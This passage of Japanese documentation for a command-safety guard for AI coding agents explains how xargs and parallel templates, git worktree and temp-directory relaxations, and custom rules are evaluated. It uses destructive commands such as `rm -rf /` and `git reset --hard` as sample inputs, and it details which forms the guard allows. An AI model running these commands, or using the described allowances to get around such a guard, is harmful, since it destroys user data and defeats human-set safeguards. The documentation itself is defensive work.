コマンド位置は広めに判定します。本体の先頭、`;`、`&`、`|`、`(`、`{`、`!`、バッククォート、改行の直後、および `then`、`do`、`else`、`elif`、`if`、`while`、`until`、`time`、`command`、`builtin`、`nohup`、`eval`、`exec`、`source` の直後がコマンド位置です。先頭に `NAME=value` の代入や開き引用符があっても、置換文字列はコマンド位置のままです。本体に `case` という語があれば、case の分岐の `)` もコマンド位置を開くため、その時点で例外の対象から外します。`xargs -I{} sh -c '{} --verbose'`、`xargs -I{} sh -c '! {}'`、`xargs -I{} sh -c 'case y in x) {};; esac'` はいずれも拒否されます。strict と paranoid では、この例外を適用しません。

エンジンが `parallel` を展開できるのは `:::` の引数グループ 1 つからだけで、置換文字列は `{}` と `{n}` を使います。2 つ目の `:::` グループ、末尾の入力ソースから数える `{-n}`、`{= ... =}` の Perl 式、`--workdir`／`--wd` は `parallel.command-stream-dynamic` として拒否します。もともと展開に対応していない入力形式（`::::`、`:::+`、`-a`／`--arg-file`、`--colsep`、`--rpl`、`--arg-sep`、`--arg-file-sep`、`--env`）も同じく拒否します。拒否する場合でも、エンジンは子コマンドを展開し、`--workdir` を実行先のディレクトリとして解決します。そのため、`parallel.command-stream-dynamic` を無効にしていても、`rm -rf /` のような[致命的な操作](/docs/ja/reference/destructive-rules#catastrophic-rules)はそれ自身のルールでブロックされます。`:::` のグループをジョブへ展開する処理は派生トークンの上限に計上され、ジョブの組み合わせで上限を使い切ると fail closed になります。

GNU `parallel` はコマンドをシェルに渡して実行するため、エンジンも同じように読み取ります。`-q`／`--quote` がない場合、テンプレートのいずれかの語が空白かシェルの特殊文字（`;`、`&`、`|`、`<`、`>`、`(`、`)`、`$`、バッククォート、`\`、`"`、`'`）を含むとき、またはコマンド語に置換文字列があるときは、テンプレートの語を空白でつないでシェルのソースとして解析します。コマンド語とは、最初の空白または `=` より前の部分です。コマンド語そのものがシェルのソースで、かつ `:::` の値がある場合を除き、先に語を 1 つずつ解析します。この段階で拒否した場合は、そのルール ID を維持します。置換文字列のないテンプレートには、`parallel` 自身と同じく `{}` を末尾に追加します。そのため、`parallel 'rm -rf {}' ::: ../other` は `rm.recursive-force-outside-cwd`、`parallel 'rm -rf' ::: /` と `parallel echo 'x; rm -rf /' ::: a` は `rm.recursive-force-root-or-home`、`parallel 'git reset --hard' ::: x` は `git.reset-hard` としてブロックされます。`-q` を指定した場合は語ごとの解析結果だけで判定するため、`parallel -q echo 'x; rm -rf /' ::: a` は許可されます。

このシェルのソースでは、GNU `parallel` と同じく、`:::` の各値をシェル用にクォートしてから `{}` と置き換えます。そのため `parallel 'echo {}' ::: 'x; rm -rf /'` は許可されます。シェルに渡した値はそのまま実行されるため、`parallel 'sh -c {}' ::: 'rm -rf /'` はブロックされます。置換文字列がコマンド語の中にある場合は値をクォートしません。値がコードとして実行されるため、`parallel {} ::: 'rm -rf /'` は `rm.recursive-force-root-or-home` としてブロックされます。

子コマンドが[カスタムルール](/docs/ja/configuration/custom-rules)の対象である場合、その引数のどこかに置換文字列があると動的な入力とみなし、`xargs.shell-dynamic` または `parallel.shell-dynamic` として拒否します。どの入力値ならルールに一致するかを逆算することはしません。

<span id="worktree-relaxation" />

## Worktree の緩和

[worktree モード](/docs/ja/configuration/modes#worktree-mode)が有効な場合、検証済みの linked worktree 内では、ローカルの変更を破棄する git コマンドを許可します。緩和されるには、次の条件をすべて満たす必要があります。

1. 一致したルールが `localDiscard` に分類されていること（[Git ルールエンジン](#git-rule-engine)の表を参照）。`sharedState` のルールは緩和されません。
2. worktree モードが有効であること。`policy.json` の `workflow.worktree_mode` と `CC_SAFETY_NET_WORKTREE=1` を論理 OR で組み合わせて判断します。
3. git のコンテキストを上書きする環境変数（`GIT_DIR`、`GIT_WORK_TREE`、`GIT_COMMON_DIR`、`GIT_INDEX_FILE`）がなく、コマンドラインにも `--git-dir`／`--work-tree` がないこと。

linked worktree かどうかは推測せず、明示的に検証します。確認するのは次の 4 点です。

* `.git` エントリが*ファイル*であること（ディレクトリでもシンボリックリンクでもないこと）
* `gitdir:` のポインターが `commondir` ファイルを持つディレクトリに解決されること
* その逆参照がこの worktree を指していること
* `config.worktree` が一致すること

メインの worktree、bare リポジトリ、submodule は緩和の対象外です。検証に失敗した場合は、理由にかかわらずコマンドをブロックしたままにします（fail closed）。

<AccordionGroup>
  <Accordion title="緩和できない local discard">
    検証済みの linked worktree 内でも、次の操作は緩和されません。`$`、`*`、`?`、`[` を含む動的な引数。ブランチの強制リセット（`git checkout -B`／`-Bf`、または `-f` や `--discard-changes` を伴う `git switch -C`／`-Cf`）。`-f` を複数指定した `git clean`（使い捨ての worktree の境界を越え、入れ子の git リポジトリを削除するために必要な指定）。`--recurse-submodules` オプション、または submodule を再帰的に扱う設定。
  </Accordion>

  <Accordion title="git -C の path 解決">
    先頭のグローバルオプションを順に処理して、実際の git の作業ディレクトリを解決します。`-C <path>` と、続けて書いた `-C<path>` は、ディレクトリの変更として適用します。`--git-dir`／`--work-tree`（値を分けて書く形式と `=` でつなぐ形式のどちらも）は、git のコンテキストを明示的に指定したものとみなし、緩和をすべて無効にします。
  </Accordion>
</AccordionGroup>

<span id="temp-root-relaxation" />

## 一時ルートの緩和

もう 1 つの緩和は、信頼された一時ルート配下の使い捨てリポジトリで git を実行する場合を対象にします。[worktree の緩和](#worktree-relaxation)とは別の仕組みで、worktree モードは必要ありません。`git.push-*` を除くすべての git のルールが、この形で緩和され得ます。

コマンドラインに `--git-dir` または `--work-tree` がある場合、git のコンテキストを上書きする環境変数（`GIT_DIR`、`GIT_WORK_TREE`、`GIT_COMMON_DIR`、`GIT_INDEX_FILE`）がある場合、コマンドライン上の git エイリアスを展開したコマンドである場合は、この緩和は適用されません。`git.alias-config` と `git.ssh-env` は、どちらの緩和よりも先に判定が確定するため、やはり緩和されません。

リポジトリは、解決済みの git の作業ディレクトリから上位へたどり、`.git` エントリを持つ直近の祖先を探して特定します。このリポジトリのルートは、信頼された一時ルートの配下にあり、一時ルートそのものではなく、ワークスペース（元のカレントディレクトリ）の祖先でも配下でもない必要があります。さらに、そのルートの `.git` は実在するディレクトリのエントリでなければなりません。`.git` が存在しない場合やシンボリックリンクの場合は、ルールをそのまま適用します。ここでいう信頼された一時ルートは組み込みのものだけで、設定で増やすことはできません。`allow_paths` を読むのは `rm` の対象分類だけで、リポジトリが使い捨て扱いになることはありません。

一時ルート配下の linked worktree は、`.git` がディレクトリではなくファイルです。ここで緩和され得るのは `localDiscard` に分類されるルールだけで、解析エンジンが worktree の情報を読み取り、その worktree への逆参照を持つ gitdir と `commondir` を確認できた場合に限られます。さらに、linked worktree モードが挙げる[緩和できない local discard](#worktree-relaxation) に該当しないことも必要です。ブランチ、stash、タグの操作は、その worktree が属するリポジトリを変更するため、引き続きブロックします。`git reset --hard <ref>` は shared state であり、ここでも緩和されません。

`git.worktree-remove-force` は、リポジトリではなくオペランドを見て判断します。git 自体はワークスペースで動く一方、使い捨ての対象は削除されるパスだからです。このルールが読むのは、`remove` の後ろにあるリテラルなオペランド 1 個です。

[追跡中のシェル変数の代入](#working-directory-tracking)による置き換えが起きるのは、パーサーがその語を変数展開として認識し、**かつ**その語のリテラル部分に `$` とバッククォートが 1 つもない場合だけです。それ以外では、オペランドを書かれたとおりのテキストとして扱います。

そのうえで、オペランドは絶対パスであり、空白、`$`、バッククォート、glob 文字を含まず、シンボリックリンクではない実在のディレクトリである必要があります。その実パスは、信頼された一時ルートの配下にあり、一時ルートそのものではなく、ワークスペースの祖先でも配下でもない必要があります。そのため、`git worktree remove --force "$S/main"` と引用符なしの `$S/main` は緩和の対象になり得ますが、`'$S/main'`、`./linked` のような相対パス、存在しないパス、シンボリックリンクには、いずれもルールをそのまま適用します。

トレースには、解除した理由と git の作業ディレクトリを持つ `temp-root-relaxation` の手順が記録されます。[explain トレース](/docs/ja/reference/explain-trace)を参照してください。

## カスタムルール

対応する組み込みのアナライザーがない場合は、フォールバックとしてカスタムルールを実行します。カスタムルールは厳密に「追加のみ」です。ブロックは追加できますが、組み込みのブロックを上書きしたり保護を緩めたりはできません。カスタムルールは入れ子のどの深さでも動きます。そのため `rm`、`rmdir`、`git`、`find`、`xargs`、`parallel` に対するカスタムルールは、`bash -c`、`sh -c`、`eval`、関数本体の中で組み込みのアナライザーが何も一致させなかった場合にも適用されます。ルールは `<rulebook-name>/<rule-name>` という名前空間を持ち、まずコマンドのベース名で照合します。その先の照合の形式は、ルールが属する rulebook のバージョンによって決まります。バージョン 1 のルールは、任意のサブコマンドとリテラルの `block_args` で照合します。短形式のオプションはまとめ書きを展開するため、`-Ap` は `-A` に一致します。`rulebook_version: 2` のルールは、代わりに `match` オブジェクトで照合します。`match.command_path` のコマンドワードは、オプションを除いた先頭の引数と順序どおりに一致する必要があります。`match.any_args` は、そのトークンのうち少なくとも 1 つが引数に現れることを求め、`match.exclude_args` は、そのトークンのいずれかが現れた時点で一致を取り消します。バージョン 2 はトークンを厳密に比較し、短形式のオプションのまとめ書きは展開しません。[バージョン 2 の照合](/docs/ja/configuration/custom-rules#version-2-matching)を参照してください。

書き方の詳細と照合の仕様は、[カスタムルール](/docs/ja/configuration/custom-rules)を参照してください。

## 分類を検査する

エンジンが特定のコマンドをどのように評価したかを正確に確認するには、`explain` を実行します。

```bash theme={"dark"}
npx cc-safety-net explain "rm -rf ./build"
npx cc-safety-net explain --json "git checkout -- file.txt"
```

人が読む形式の出力は、各セグメント、解析のステップ、ルールの評価を順に示します。JSON 出力は構造化されたトレースを返します。そのスキーマは [explain トレース](/docs/ja/reference/explain-trace)を参照してください。

判定がおかしい原因がコマンド側ではなく設定側にあると思われる場合は、ランタイムがフォールバックのポリシーで動いていないか確認してください。`npx cc-safety-net status` が `ready` か `degraded` かを表示します。該当する設定元の修復方法は、[設定の復旧](/docs/ja/configuration/recovery)を参照してください。

## 次に読むページ

技術ガイドは、ユーザー向けのライフサイクルの説明から設計の理由へと順に降りていく構成です。このページはその 4 番目にあたります。

* 戻る：[アーキテクチャ](/docs/ja/guides/architecture)には、この分類処理が最後を担う順序付きのガードステージがあります。
* 次へ：[設計原則](/docs/ja/guides/design-principles)では、分類をパターン照合ではなく意味に基づいて行う理由と、レベルの境界を現在の位置に置いた理由を説明します。

関連ページ：レベルの選び方は[モード](/docs/ja/configuration/modes)、判定結果の一覧は[ブロックされるコマンド](/docs/ja/reference/blocked-commands)と[許可されるコマンド](/docs/ja/reference/allowed-commands)、分類処理が認識しない範囲は[既知の制限](/docs/ja/guides/known-limitations)を参照してください。


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.